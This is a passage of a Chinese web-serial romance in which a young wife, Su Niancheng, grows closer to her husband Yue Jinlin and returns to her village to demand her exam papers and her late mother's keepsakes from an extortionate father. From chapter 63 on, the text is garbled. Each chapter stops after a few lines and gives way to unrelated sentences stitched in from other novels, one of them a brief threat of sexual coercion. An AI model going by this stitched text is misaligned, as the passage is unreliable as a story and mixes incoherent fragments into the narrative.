他手里拎着个纸包,热气腾腾的。 苏念橙嘴角弯了弯,收回目光,看向何钧礼。 “不用了。”她说,“我男人来接我了。” 何钧礼愣住了。 他顺着她的目光看过去,看见了那个正往这边走的男人。 越靳临走过来,在苏念橙面前停下,很自然地牵起她的手。 他低头看她,“下课了?” 苏念橙点点头,“嗯。” 越靳临把手里的纸包递给她,“路过那家烧饼店,看还开着,就给你买了两个。趁热吃。” 苏念橙接过纸包,打开一看,两个金黄的烧饼,还冒着热气。 她拿起一个咬了一口,外酥里软,芝麻香得很。 “真好吃。”她抬起头,看着他笑,像个小猫咪。 越靳临看着她那副样子,嘴角弯了弯,“好吃就多吃点。” 苏念橙点点头,又咬了一口。 何钧礼站在旁边,看着这一幕。 那个男人低头看她,她仰着脸对他笑。 两人站在一起,自然而然的,像是一幅画。 他攥紧拳头,指节泛白。 “念橙,”何佩佩在旁边开口,“那我们先走了啊。” 苏念橙看向她,“好,佩佩路上慢点。” 何佩佩点点头,拉着何钧礼的袖子,“哥,走吧。” 何钧礼被她拉着,脚步却没动。 他看着苏念橙,嘴唇动了动,想说什么。 可他能说什么呢? 她根本没看他。 她正低着头吃烧饼,腮帮子鼓鼓的,像个仓鼠。 旁边那个男人低头看着她,眼里带着笑。 何钧礼忽然觉得心里像被什么东西狠狠攥了一下。 “哥!”何佩佩又拉了拉他,“走啦!” 何钧礼回过神,被她拉着往前走。 走了几步,他忍不住回头。 那两个人还站在原地。 第五十九章 再亲我一下 苏念橙掰了一块烧饼举到越靳临嘴边,“你也尝尝,可好吃了。” 越靳临低头咬了一口,点点头,“嗯,还行。” 苏念橙笑了,“明明很好吃。” 越靳临看着她那副得意的样子,伸手揉了揉她的头发,“上车吧,回家。” 苏念橙点点头,把剩下的烧饼包好,坐到他身后。 摩托车发动,往另一个方向开去。 何钧礼站在原地,看着那辆摩托车消失在夜色里。 夜风吹过来,凉飕飕的。 他忽然觉得自己可笑得很。 “哥?”何佩佩在旁边叫他,“你发什么呆呢?走了。” 何钧礼回过神,跟着她往前走。 走了两步,他忽然开口。 “佩佩。” 何佩佩回过头,“嗯?” 何钧礼顿了顿,“她……过得挺好的?” 何佩佩愣了一下,“谁?念橙?” 何钧礼点点头。 何佩佩看着他,眼神有点复杂,“哥,你问这个干嘛?” 何钧礼没说话。 何佩佩想了想,“挺好的啊。她男人对她特别好,给她买衣服买手表,还给她交补习班的学费。你不知道,那三十块学费,她男人眼睛都不眨就掏了。” 何钧礼听着,心里更堵了。 何佩佩看着他,忽然叹了口气,“哥,你别惦记她了。你都结婚了,好好对嫂子吧。” 何钧礼愣了一下,“我没惦记。” “没惦记就好。”何佩佩继续往前走,“走吧,妈还等着呢。” 何钧礼跟在她身后,没再说话。 可心里那点念头,却怎么也压不下去。 另一边,摩托车往槐花胡同开。 苏念橙搂着越靳临的腰,把脸埋在他背上。 风呼呼地吹,她忽然想起刚才在校门口那一幕。 何钧礼问她要不要送她回去。 她那时候心里什么感觉来着? 好像什么都没有。 就是觉得有点好笑。 她怎么会需要他送? 她有越靳临。 想到这儿,她搂紧了些。 越靳临感觉到腰上的力道紧了紧,微微侧头,“怎么了?” 苏念橙摇摇头,“没什么。” 她把脸埋得更低,闻着他身上那股熟悉的肥皂味,心里踏实得很。 摩托车停在楼下。 苏念橙下了车,站在路灯下,看着他。 越靳临停好车,走过来。 “吃饱了吗?”他问。 苏念橙点点头,“吃饱了。” 她想了想,又开口,“越靳临。” “嗯?” 苏念橙看着他,她浅笑着说:“谢谢你每天接我送我,谢谢你对我这么好。” 越靳临低头看着她,嘴角弯了弯。 “不用谢。”他说,“应该的。” 应该的。 又是这三个字。 苏念橙听着,心里暖暖的。 她忽然鼓起勇气,踮起脚尖,飞快地在他脸颊上亲了一下。 然后转身就跑。 “我上去睡了!” 越靳临愣在原地。 脸上还留着那一下柔软的触感,温温的,软软的。 他看着那个跑上楼的背影,红裙子在楼梯口一闪,就不见了。 他站在那儿,忽然笑了。 伸手摸了摸被亲过的地方,心里像被什么东西轻轻撞了一下。 这丫头。 他抬起头,看着二楼那扇亮起灯的窗户,嘴角的笑意怎么也压不下去。 苏念橙一口气跑上楼,关上门,靠在门板上喘气。 心跳快得像要从嗓子眼蹦出来,脸烫得能煎鸡蛋。 她刚才干了什么? 她亲了他。 主动亲的。 虽然只是轻轻碰了一下,但那也是亲了啊! 她捂住脸,蹲下来,把脸埋进膝盖里。 怎么就冲动了呢?怎么就没忍住呢?他会不会觉得她太随便了。 她咬着嘴唇,耳朵根子都烫得厉害。 蹲了好一会儿,她才站起来,走到桌边坐下。 桌上那把雏菊还插在搪瓷缸子里,黄灿灿的,在灯光下看着格外鲜活。 她盯着那花,发了会儿呆。 忽然又想起他刚才那个笑。 他好像……也挺高兴的? 她摇摇头,拿了换洗衣服,下楼洗澡。 走到楼梯口,她脚步顿了顿。 客厅里,越靳临正站在窗边做俯卧撑。 他古铜色的皮肤上覆着一层薄汗,背心贴在身上,勾勒出宽阔的肩膀和紧实的腰腹。 苏念橙看了一眼,脸腾地红了。 她赶紧低下头,快步往澡间走。 可余光还是忍不住往那边飘。 他好像做得很认真,没注意到她。 她加快脚步,闪进澡间,关上门。 靠在门板上,她捂着胸口喘气。 刚才那个画面又在脑子里晃。 不行不行,不能再想了。 她拧开水龙头,让凉水冲在脸上。 洗完澡出来,她擦着头发,走到客厅角落,准备把换下来的衣服洗了。 刚蹲下来,手就被人握住了。 “我来洗。” 低沉的声音从头顶传来。 苏念橙抬起头,越靳临站在她面前,手里还拿着条毛巾,头发湿着,水珠顺着脖颈往下淌。 他刚才也去冲了个澡。 “不用不用,”她赶紧站起来,“我自己洗就行。” 越靳临没松手,把衣服从她手里抽出来,“这本来就是我要干的活。” 苏念橙愣住了。 “什么活?” 越靳临看着她,嘴角微微弯了弯,“丈夫给媳妇儿洗衣服,天经地义。” 苏念橙脸又红了。 她想说他什么时候给她洗过衣服,除了那次生理期—— 脑子里忽然闪过那个画面。 他站在水龙头边,低着头,大手搓着那块小小的布料。 她脸更烫了。 “可你……”她支支吾吾,“你也没让我给你洗过衣服啊。” 越靳临低头看着她,“我力气大,洗得快。你去看书,或者早点睡。” 他说着,已经把衣服放进盆里,拧开水龙头。 苏念橙站在旁边,看着他的背影。 水哗哗地流,他低着头,大手搓着那块布料,动作熟练得很。 她心里过意不去。 “那……”她咬了咬嘴唇,“我给你弄点啥?倒杯水?热杯奶?” 她不习惯被人伺候。 从小就没被伺候过,都是她伺候别人。 现在他对她这么好,她总觉得该做点什么回报他。 越靳临手顿了顿,回过头看她。 她站在那儿,脸红红的,眼睛亮亮的,一副认真想回报的样子。 他忽然笑了。 “行啊。”他放下手里的衣服,转过身,弯下腰,指了指自己的脸,“再亲我一下就行。” 第六十章 换我亲 苏念橙愣住了。 她盯着他那张棱角分明的俊脸,盯着他嘴角那个笑,脑子里嗡的一声。 亲? 还亲? 她脸烫得像要烧起来。 “我、我才不要!”她终于憋出一句话,转身就要跑。 刚迈出一步,胳膊就被拉住了。 她回过头。 越靳临站在她面前,低头看着她。 那双眼眸黑沉沉的,映着小小的她。 “不要?”他问,声音低低的。 苏念橙被他看得心跳加速,结结巴巴地说,“不、不要……” 话没说完,脸上一暖。 他低下头,在她脸颊上轻轻亲了一下。 很快,很轻,像蜻蜓点水。 然后就直起身,看着她。 “那换我亲。”他说,嘴角带着笑。 苏念橙彻底愣住了。 她站在那儿,脸红得能滴血,脑子里一片空白。 刚才那个触感,温热的,软软的,像羽毛拂过。 她盯着他,眼睛瞪得圆圆的,像只受惊的小兔子。 越靳临看着她那副样子,心里软成一团。 他伸手,揉了揉她的头发。 “去睡吧。”他说,声音放轻了些,“不逗你了。” 苏念橙这才回过神来。 她低下头,不敢看他,蚊子似的嗯了一声,转身就往楼上跑。 跑得太快,差点绊一跤。 越靳临站在原地,看着她慌慌张张的背影,嘴角的笑意更深了。 小姑娘还是不经逗的。 他收回目光,蹲下来,继续洗衣服。 水哗哗地流,他低着头,手里的动作没停,脑子里却全是她刚才那个表情。 脸红红的,眼睛圆圆的,又羞又窘,偏偏还装出一副凶巴巴的样子。 可爱得要命。 他忽然觉得,这日子过得,好像越来越有意思了。 楼上,苏念橙冲进房间,关上门,扑到床上,把脸埋进枕头里。 心跳快得像要从嗓子眼蹦出来,脸烫得能煎鸡蛋。 他亲她了。 他亲她了! 虽然不是嘴,但也是亲啊! 她翻了个身,盯着天花板,脑子里全是刚才那个画面。 他低下头,在她脸上亲了一下,然后直起身,看着她笑。 那个笑,真好看。 她咬着嘴唇,嘴角却忍不住往上弯。 完了完了,她是不是沦陷了? 可这样会不会太渣了? 她才从上一段感情中走出来,现在就又亲了别的男人。 她翻了个身,把脸埋进枕头里。 算了,不管了。 有帅男不亲是傻瓜。 她闭上眼睛,心跳慢慢平复下来。 不知道过了多久,她终于迷迷糊糊睡着了。 梦里,他站在路灯下,低头看着她,说,想亲就亲。 她踮起脚,在他脸上亲了一下。 他笑了,说,真乖。 第二天早上,苏念橙醒来的时候,阳光已经照进屋里了。 她坐起来,发了会儿呆,忽然想起昨晚的事,脸又红了。 她摇摇头,起床洗漱。 下楼的时候,厨房里照常飘来香味。 越靳临系着围裙站在灶台前,听见动静回过头。 “醒了?”他说,跟平时一样,“洗脸吃饭。” 苏念橙点点头,嗯了一声,低着头往澡间走。 走到他身边时,脚步顿了顿。 她偷偷瞄了他一眼。 他脸上没什么表情,正低头翻着锅里的煎蛋,好像昨晚什么都没发生过。 她心里便没那么紧张了,加快脚步进了澡间。 洗完脸出来,坐到桌边。 桌上摆着粥,咸菜,还有两根玉米。 她拿起筷子,低头吃饭。 吃了一会儿,她抬起头,偷偷看了他一眼。 他正看着她。 四目相对。 苏念橙赶紧低下头,耳朵红了。 越靳临嘴角微微弯了弯,“昨晚睡得好吗?” 苏念橙点点头,“嗯,挺好的。” “那就好。”他夹了块咸菜放进碗里,“多吃点。” 苏念橙嗯了一声,低头继续吃。 两人安静地吃完饭,就出门。 摩托车还是停在楼下,晨光把整条胡同照得暖洋洋的。 苏念橙搂着他的腰,想着昨晚的事,心里还有点甜。 到了工地,她正要下车,越靳临忽然开口。 “念橙。” 她回过头,“嗯?” 越靳临看着她,“从明天开始,你就别来工地了。” 苏念橙愣住了,“为什么?” “学业紧张。”他说,顿了顿,“我记得是不是快报考了?” 苏念橙眨眨眼,“还有几个月呢。” “那也得准备。”越靳临看着她,“你底子薄,多花点时间复习是应该的。” 苏念橙张了张嘴,“可是……” “工钱照发。”他打断她。 苏念橙急了,“那怎么行?我都没来上班,怎么能拿工钱?” 越靳临看着她,忽然笑了。 “以后我得叫你橙子了,呆呆地。”他说,“你考完试再来上班也行。我们毕竟是夫妻,你花我的钱天经地义。” 苏念橙脸红了,低下头,“可我不想全靠你养着……” 越靳临伸手揉了揉她的头发,“我知道。我只是希望你把心思多放在学习上,别让工地的事分心。” 苏念橙抬起头,看着他。 他站在晨光里,那双黑沉沉的眼睛里映着她。 她心里暖暖的,点点头,“好。” 想了想,觉得不太妥当,她就又开口,“那我这样可以吗?每周一三五来上班,其他时间复习。” 越靳临愣了一下,随即笑了。 “第一次见人上班还想讨价还价的。”他看着她,眼里带着笑意,“当然可以。你不想来都行。” 苏念橙笑了,“那就这么说定了。” “嗯。”越靳临点点头,“进去吧。” 苏念橙跳下车,往办公室走。 走了几步,又回头看了一眼。 他还站在原地,看着她。 她朝他挥挥手,加快脚步。 进了办公室,她坐到桌边,开始想报考的事。 师范学院的补习班上了一天,感觉效果不错。 英语进步最快,数学还是有点吃力,但比刚开始强多了。 她翻开本子,把报考需要的材料列了个清单。 户籍证明,学历证明,还有一张照片。 户籍证明在老家,得让苏国强寄过来。 她想起那天在婚礼上看见苏国强和赵秀兰,心里有点堵。 可户籍证明必须得找他们要。 她咬了咬嘴唇,从抽屉里拿出信纸,开始写信。 第六十一章 报考风波 信写得简短,就说要报考大学,需要户籍证明和学历证明,让他们寄到省城这个地址。 写完后,她想了想,又在后面加了一句:母亲的遗物,希望尽快寄来。 她把信折好,装进信封,写上地址,贴了邮票。 中午吃完饭,她让越靳临载她去邮局寄信。 邮局人不算多,她排队把信寄出去,心里松了口气。 “接下来就是等回信了。”她走出邮局,对越靳临说。 越靳临点点头,“他们会寄的。” 苏念橙看着他,笑了笑,“希望吧。” 两人上了摩托车,往回开。 另一边,工地空地上。 越靳临刚回到工地,就看见老张蹲在门口抽烟。 “老张!” 闻言老张站起来,笑嘻嘻地凑过来,“怎么了,越工。” 越靳临看着他,“我想要一辆凤凰牌自行车,你有门路不?” 老张想了想,“行,我帮你问问。要男款还是女款?” “女款。”越靳临眉眼微漾,“要是有现车最好。” 老张点点头,“我下午去趟供销社,有消息告诉你。” “好” 他刚要转身走,忽然想起什么,又凑过来,“对了越工,你不是才有了辆新摩托?怎么又要买自行车?” 越靳临没接话,从口袋里掏出张纸条,递给他,“这是地址,你提了车帮我开过来。” 老张接过来一看,愣住了。 他抬起头,看着越靳临,“越工,你这是给嫂子买的吧?” 越靳临没否认,“给你人工费,别那么多废话。” 老张笑了,“行行行,我这就去。不过越工,你们结婚也有一个多月了吧?有动静没?” 越靳临愣了一下,“什么动静?” 老张挤挤眼,“孩子啊。” 越靳临眉头皱了皱,“她还小,将来是要当大学生的,怀那么早干嘛?” 老张嘿嘿笑着,“那你想生男孩还是女孩?” 越靳临想了想,嘴角微微弯了弯,“女孩。” 老张愣了,“为啥?” 越靳临没回答,只是想起苏念橙那张总是红扑扑的脸。 女孩应该会跟她一样吧。 老张看着他那个笑,心里明白了,“行行行,不问了。不过越工,等嫂子读完书,你都三十好几了吧?” 越靳临看他一眼,“那怎么了?” 老张摸摸鼻子,“没啥没啥,就是觉得你有精力等。” 越靳临没理他,转身往办公室走。 老张在后头喊,“越工,我这就去啊!晚上给你信儿!” 忽然越靳临想起什么,他往苏念橙办公室走去。 他敲门进去,苏念橙还在看书。 “下午有事吗?”他问。 苏念橙想了想,“没什么事,就是复习。” 越靳临点点头,“那要不要去趟教育局?再问问报考的事。” 苏念橙眼睛亮了,“好啊。” 两人又上了摩托车,往教育局开。 教育局还是那栋小楼,门口人来人往。 苏念橙进去咨询,越靳临在外头等着。 接待她的还是上次那个女同志,戴着眼镜,很和善。 “同志,又来了?”她笑着问。 苏念橙点点头,“我想再问问报考的事。” 女同志递给她几张表格,“你先看看这些。高考报名需要户籍证明、学历证明,还有一张一寸照片。你材料都准备好了吗?” 苏念橙摇摇头,“还没有。户籍证明在老家,我已经写信回去要了。” 女同志点点头,“那就等材料到了再来。报名时间还有两个月,不急。” 苏念橙心里有了底,“谢谢同志。” 出了教育局,她把这个消息告诉越靳临。 “材料到了就能报名。”她说,眼睛亮亮的。 越靳临点点头,“那就好。” 他看着她那副高兴的样子,嘴角弯了弯,“走吧,回去等信。” 两人上了摩托车,往回开。 接下来几天,苏念橙在家等回信。 她每天都去胡同口的信箱看一眼,可信箱总是空的。 何佩佩来找她复习,问她报考的事,她说在等材料。 何佩佩叹了口气,“我那材料都是我哥帮我办的,不然我也头疼。” 苏念橙笑了笑,“没事,等等就有了。” 可她心里其实没底。 苏国强会给她寄吗? 上次闹成那样,他恨不得没她这个女儿。 还有那些遗物,他会不会借着这个机会,又提出什么条件? 她摇摇头,把这些念头压下去。 第五天,她终于收到回信了。 信封皱巴巴的,上面是苏国强的字迹。 她站在信箱前,拆开信封。 里头只有一张纸。 她展开一看,愣住了。 纸上就一行字: 想要材料?拿钱来换。五百块。寄到家里,东西就给你寄过去。你妈的遗物也一样。 苏念橙攥着那张纸,指节泛白。 眼眶忽然酸了。 她深吸一口气,把那点酸意憋回去。 她其实早就做好心理准备,想过他会直接不回信,想过他跟她提钱,但万万没想到是张口就是五百块。 她一个月工钱十八块,攒到猴年马月去。 她手头上有越靳临给的三百块钱的,但她不想要把他的钱混进来。 随后,苏念橙着信回到家,坐在桌边发呆。 门被推开,越靳临走进来。 看见她那副样子,他眉头皱了皱。 “怎么了?” 苏念橙抬起头,把那封信递给他。 越靳临接过来看了一眼,脸色沉下来。 “五百块?”他把信放下,看着她,“你爸要的?” 苏念橙点点头。 她低下头,声音有点哑,“我早该想到的。他那种人,怎么可能白给我寄材料。” 越靳临没说话,走到她面前,蹲下来。 他看着她,那双黑沉沉的眼睛里带着点心疼。 “别怕。”他说,“我有钱。” 苏念橙愣住了,“你……” 越靳临看着她,“五百块,我有。我给你寄过去。” 苏念橙摇摇头,“不行,我不能要你的钱——” “为什么不能?”他打断她,“我们不是夫妻吗?” 苏念橙张了张嘴,“可那是协议——” “协议也可以改。”他说,声音低沉,“我说过,我们可以慢慢来。你给我时间,我也给你时间。但这钱,你必须收下。” 第六十二章 回村 苏念橙愣住了。 她看着他那双黑沉沉的眼睛,看着他认真的样子,心里像被什么东西狠狠撞了一下。 “我不是那个意思。”她低下头,声音闷闷的,“我就是不想给他这五百块。凭什么?那是我的户籍证明,是我妈的遗物,凭什么要我拿钱买?” 越靳临轻声嗯了一声,“那你打算怎么做?” 苏念橙抬起头,咬了咬嘴唇,“我决定回去一趟。” 越靳临眉头皱了皱,“回去?” “嗯。”苏念橙点点头,“当面找我爸拿。我就不信,他还能当着全村人的面,不给我这个亲生女儿开证明。” 越靳临沉默了几秒,“我陪你去。” 苏念橙愣了一下,“不用——” “工地最近出了点岔子。”他打断她,眉头拧着,“B区那批钢筋又出问题了,这几天得盯着。你要不要等我几天?等我忙完,陪你一起回去。” 苏念橙摇摇头,“不用啦。” 她看着他,笑了笑,“你忙你的,别因为我耽误工作。而且我就回我自己家,有什么好怕的?拿到东西我就回来。” 越靳临看着她那张笑脸,心里还是不放心。 他想了想,开口道,“那你别偷偷回去。回去之前跟我说一声,知道吗?” 苏念橙点点头,“好。” 她心里一暖,又说,“你放心,我不会逞强的。要是他真不给,我就回来,咱们再想办法。” 越靳临伸手揉了揉她的头发,“嗯。” 苏念橙也笑笑。 她都没意识到自己渐渐开始依赖越靳临了。 第三天,苏念橙起了个大早。 她收拾好东西,把那个牛仔包装得满满的,里头塞了几件换洗衣服,还有路上吃的干粮。 下楼的时候,越靳临正在厨房忙活。 听见动静,他回过头,“这么早?” 苏念橙点点头,“嗯,赶早班车。” 越靳临擦了擦手,走过来,“我送你去车站。” “不用不用。”苏念橙赶紧摆手,“你不是还得去工地吗?我自己去就行。” 越靳临:“那怎么行。我送你。”说着他就拿起外套就往外走。 苏念橙跟在他身后,心里甜滋滋的。 “那我就恭敬不如从命啦~” 越靳临闻言嘴角上扬,“嗯,上车吧。” 摩托车在晨风里开,很快就到了汽车站,越靳临停好车,陪她去买票。 买完票,他低头看着她,“几点到?” 苏念橙看了看车票,“下午两三点吧。” “到了给我打个电话。”他说,“胡同口那个电话亭,记得吗?” 苏念橙点点头,“记得。” 越靳临看着她,沉默了两秒,“我这边忙完就去找你。” 苏念橙笑了,“好。” 车来了,她拎起包,往检票口走。 走了两步,她回过头。 他还站在原地,看着她。 她朝他挥挥手,转身进了站。 汽车晃晃悠悠开了五个多钟头,终于在下午三点到了县里。 苏念橙下了车,拎着包往村里走。 村里的路还是那条土路,坑坑洼洼的,两边是收割完的庄稼地,光秃秃的。 她走了一会儿,就看见村口那棵老槐树。 树干粗得要两人合抱,叶子落了大半,光秃秃的枝丫伸向灰蒙蒙的天。 她站在树下,忽然想起三年前。 何钧礼就是站在这里,手里捧着那把乱七八糟的野花,脸红红地说喜欢她。 果然还是会触景生情的。 只不过时过境迁,短短一个月的时间,却早已物是人非。 她深吸了一口大自然的空气,继续往前走。 走到家门口,她脚步顿了顿。 还是那几间土坯房,墙皮剥落了一大片,露出里头的泥坯。 院子里堆着些柴火,几只鸡在刨食。 她推开门走进去。 堂屋里,苏国强正坐在桌边抽烟,赵秀兰在旁边择菜。 看见她,两人都愣住了。 “哟,念橙回来了?”赵秀兰第一个反应过来,脸上堆起笑,“怎么也不提前说一声?你爸好去接你。” 苏念橙看着她那张假惺惺的脸,心里一阵恶心。 “我回来拿户籍证明。”她说,声音很平静,“还有我妈的遗物。” 苏国强脸沉下来,“信上不是说了吗?五百块,东西就给你。” 苏念橙看着他,“我没钱。” “没钱?”苏国强冷笑一声,“你那个男人不是挺有钱的吗?摩托车都骑上了,五百块拿不出来?” 苏念橙攥紧拳头,“那是他的钱,不是我的。” “他的不就是你的?”赵秀兰在旁边插嘴,“你都嫁给他了,还分什么你的他的?” 苏念橙没理她,只是看着苏国强,“爸,我只要户籍证明和我妈的遗物。你开个价,多少我都认,但五百块我没有。” 苏国强啪地拍了下桌子,“没有就滚!我养你这么大,要点钱怎么了?” 苏念橙心寒,从前苏国强对她百般挑剔,但是至少还留一丝良心,如今是真不把她当女儿看。 她站在原地,没动,看着那张熟悉的脸,此刻陌生得可怕。 “你养我?”她声音发颤,“我妈死后,你就没养过我。我住柴房,穿苏荷雨剩的衣服,吃你们剩下的饭。我起早贪黑赚工分,钱都进了你的口袋。你养我什么了?” 苏国强脸涨得通红,站起来就要打她。 赵秀兰赶紧拉住他,“哎呀,别打别打,打坏了更麻烦。” 她看向苏念橙,换了副苦口婆心的口气,“念橙啊,你也别怪你爸。家里日子难过,你妹妹又刚结婚,处处都要花钱。你既然嫁了个有钱人,帮衬帮衬家里不是应该的?” 苏念橙看着她,“我没钱。” 赵秀兰脸上的笑僵了一瞬,随即又笑起来,“没钱也行,那你就在家住几天。等你想通了,再回去。” 她说着,朝苏国强使了个眼色。 苏国强哼了一声,坐回去继续抽烟。 苏念橙站在那儿,看着这两个人,心里凉透了。 她转身就往外走。 “站住!”苏国强在后头喊,“你走哪儿去?你给我回来!” 苏念橙没回头。 她出了门,往村外走。 可走了几步,她又停下了。 户籍证明,母亲的遗物,都在那间屋子里。 她就这么走了,什么时候能拿到? 第六十三章 撑腰 苏念橙咬着嘴唇,站在村道上,不知道该往哪儿走。 天色已经暗下来了,灰蒙蒙的,风也冷了。 她抱着胳膊,蹲在路边,把脸埋进膝盖里。 不知道过了多久,身后传来一阵脚步声。 “念橙?” 因为无知所以无畏,所以第四真祖才会成为街头相仿无聊之人的谈资,成为这弦神岛的都市传说。 玛的,没有刀板,不然,我连平底锅都可以切了,粘酱油吃下去。 “好,有你这话,三哥所做的一切都值了,三哥走了。”三子走了,就像他突然出现一样,神秘莫测,没有人知道他从哪里来,更没有人知道,他想去哪里。 宋依依吓了一跳,伸手推开他,偏偏躲不开,男人的力气那么大,根本不是她能挡住的。 “选择自愿让我弟弟随便干,还是选择让他们俩随便干,你只有十秒钟机会。”何倩冷冷地开口。 她不能不迷惑,宋依依跟她宋怜晚其实容貌颇有些相似,而夏侯策跟夏澈更是非常像,难道这是前世今生?夏侯策会是夏澈的前世吗? 照凤鸣这说法,这衣服不仅仅是衣服了,还是一身的手绢。上衣不够用了用裤子,裤子不够用了用袜子。 “好的。”丁主任答应着,开始弯腰整理贾玉轩办公室里的煤火,重新换了两个煤球。。 陆竞成瞄了她一眼,显然是不耐烦的样子。似乎朱灵再发呆一秒,他即刻就会改变主意,扬长而去。 顾萌知道,自己和这些人一定有所往来,甚至关系良好,若非如此,她不肯能对一个能靠近自己的人如此的没有警惕心。 沈芳还在狡辩着,冷清妍却已经扑了上来,手中拿着一只发夹,朝着对方的喉咙划去。 哪怕被祁云勾动了多年未曾回想起的记忆中的那一幕的异光,都忍不住心头一突,有些火气难抑。异光冷哼一声,当然不可能真如之前祁云所说,自己被他三招击败,就要过来帮他。 吼、吼、吼、吼……周吉平的支持者们兴奋起来了,口里一边喝着彩,脚下一边跳跃着。 既然睡不着,周吉平索‘性’也就不睡了。莱丝带着弗莱已经在里屋睡熟了,周吉平担心自己在外屋的举动会吵到他们,干脆轻轻打开‘门’,走到了外面。 赵冰凝拿起手机,看到来电显示后眉头深深的皱了起来,神情带着浓浓的厌恶,不过还是走到客厅角落接起了电话。 见到面前这些如同水一般在流动的灵气,宁晞心头一惊,同时也不由羡慕嫉妒起来。 易天见明慧如此温柔可人,内心一荡,不由自主地多看了她两眼,直瞧得明慧那吹弹可破的粉脸上,迅速浮起了一层红晕。 现在许多人已经报警或者给医院打救护车,准备让医院急救医生过来。 继续走了一段路程后,宁晞面前出现一座荒凉、且散发着热气的死火山。 听到黄皮虎这话,周吉平心里一凛,不禁对自己的莽撞和黄皮虎的谨慎同样感慨了一下。 这样安排,就显得更自然,不会太刻意,父母就不会有防备心理,就更能听进去梁老板的那些话。 之前乐音非要司机送她,可是她不想,就随口说了一句,会找韩哥哥送她回去,只是到了门口,她沮丧的发觉,此时此刻她是真的不想见到苏铭韩。 第六十四章 同床共枕 两人往村外走,走了二十来分钟,到了镇上的汽车站。 最后一班去县里的车还没走,越靳临买了两张票,带着她上了车。 车子晃晃悠悠开了半个多钟头,终于在县城停下。 淮安县不大,一条主街贯穿东西,两边是些店铺和招待所。 看到烈焰原本已经停止流血的伤口再次流出汩汩的鲜血,罗兰德再也忍不住了,大声说道。 面对这个问题,孟若婷真心不知道该怎么回答才好,说不上顺利,可也说不上一波三折,但是,可以肯定的说,如果没有段天涯的陪同,今天她要想拿回自己的镯子,恐怕就没那么简单了。 胖子走过去,把放置在一个木架子上的一尺来高的青铜宫灯给收取到了壶内空间之中。然后四下里打转,看看有什么合适的宝物让自已收取。 晓再次出现在了糖果三人的上方,眼睛依旧是没什么神彩的半眯着,就像是没睡够一样,手中蓝翎弩指向了糖果。 面对毫无所知的陌生人他们也能如此友善,这就是平凡人的善良。 刘老汉苦着脸答应了,他的手艺可比不上那些匠户,他们来了后谁给谁打下手还不知道呢。 呼喊的浪潮久久不绝,整个云霄城笼罩在一股热血悲愤且激昂的情绪之中。 贝宁皱眉说道,声音少有的变得有些低沉。说实话,这种只能等待某个事件发生的感觉很不好过,仿佛正有一道无法拒绝的死亡阴影在逐渐向他靠拢,非常压抑。 “那啥,娜姐,你的冰激凌要融化了。”张巍吃着牛肉,感觉到气氛不对,抬眼就看到娜娜半张着嘴看自己,那雪糕都融了好多要滴下来了。 孔翎妖王的脖子发出令人牙酸的声音,仿佛骨头寸寸断裂,孔翎妖王痛苦的面目扭曲,双眼皆已充血,到了这个关头,她若再不自救,那就真完了,此时已经顾不了那么多,付出一些代价也在所不惜。 “真是烦人!”陈闲暗骂一声,因为受阵法影响,心中无比烦躁,几乎没有多想,又是一剑挥出,绞灭了漫天的火兽。 杨怀仁一提出来,便得到了大多数人的赞成。建一座英烈祠所需要的土地都是现成的,费用更不是问题。 要了一份草莓蛋糕,还有一个百香果茶,刘超给自己点了杯咖啡,就当个陪客了。 当然,对古溪来说,还是学习和提升实力更重要,学分,只是次要的事,需要但不必要。 “这是支那人的老战术了。命令各部,尽可能的隐蔽好,保存有生力量。”柳田元三中将命令道。 应该是自然形成的虫洞,被一团金黄色星云包围着,扭曲的黑色空间入口也不知通往哪里,那些三角翼似乎正是因为守护入口才被银月一号发现的。 阿加德没有理会近卫们的呼喊,他自己心里清楚,这诡异的能量场并不是他带来的,而是来自靠近白玉池塘,云阳倒下的地方。 当然,这是星域大会期间,和正常四阶拜访圣地的规模,并不是不能多带人进圣地,而是多余的人不能拥有某些圣地免费的历练项目的名额。 方宏现在也没有什么条件,毕竟这么大的伤口如果放着不管的话,非常有可能造成破伤风感染,虽然在学园都市不算什么大病,但那也麻烦不是? 第六十五章 得再养养 窗外的雨还在下,噼里啪啦砸在玻璃上。 屋里安静得很,只有两人的呼吸声。 过了好一会儿,苏念橙终于慢慢放松下来。 好像也没那么紧张了。 她偷偷看了他一眼。 他还是侧躺着,背对着她,一动不动,不知道睡着了没有。 她咬了咬嘴唇,小声开口。 “越靳临。” “嗯?” “谢谢你。” 那边沉默了两秒。 于是也纷纷去草丛里摘来一模一样的大头种子,轻轻把最下边连着的茎秆掐下去,一枚枚“大头冲锋勇士”便显露身形,然后就脱下外衣,开始捉对厮杀。 “要真是这样,老子能死你们。”凌天现在双拳紧握,最后突然看向了白色的地板上,看到了散落的一些长发,凌天急忙看向天静伟的父母,发现都是短发,那这无疑是天静馨的头发。 在她获得新生后,虽然身体是人类,但因为脑海中有恶魔百科的关系,因此跟洛克一样,他们的心灵都已经算是恶魔了,杀人什么的对她来讲理论上并不会产生多大的负面情绪。 不过戴项圈这事,丫丫说什么也不同意,老鱼头做不了主,也只能作罢,眼睁睁地瞧着鸬鹚大吃二喝,他的鱼兜子里还是空空如也。而鸬鹚吃饱喝足,更不愿下水,懒洋洋地晒太阳,任老鱼头喊破嗓子也不顶用。 凌天此刻假装不怀好意起来,最后一双大手开始乱摸起来,但是凌天却在心中频频冷笑,而且还是那一种完全看透她们的冷笑。 于是,刘一兵不敢怠慢,立刻将全县警察,甚至连武警和消防队的官兵都调动起来,展开彻底排查,重点是城郊。 巨大的水浪冲击在游艇的每一处地方,强烈的撞击力令游艇的艇身都发出难听的嘎吱嘎吱磨牙声,就仿佛随时随刻都会散架一般。 所以这六条眼镜王蛇对他无用的,完全就是疼一下,根本没有任何的压力,而且还会增加他身体对毒液的抗性,算是对凌天的好处吧。 除此之外,她没有说任何话,她怕自己一开口就会忍不住跟幻彩一样陪他遨游世界。 林维环视了一圈,赫里克口中的主控室内,是一圈圈白银色晶体构成的屋内装饰物,在装饰物的中间,一个类似于冰晶的盒子,有一人多高,立在主控室中间。 他也不许人跟着,信马由缰,沿着朱雀大街去了城东月牙湖旁的一座香苑。 抛开在游戏内的交际不算,这是两人在现实中的第一次见面,没有任何面纱与遮盖物,也没给他们彼此提前准备的机会。 尤其是洛千秋,薛昊已经许久没有见到洛千秋了,当下居然是在武会上看到了他,而他代表着吞门出战。 站在那边的墨衣还是不吭声,并且还是在跟那堵墙对峙,就像是要用眼神吓死面前的这堵墙一样。 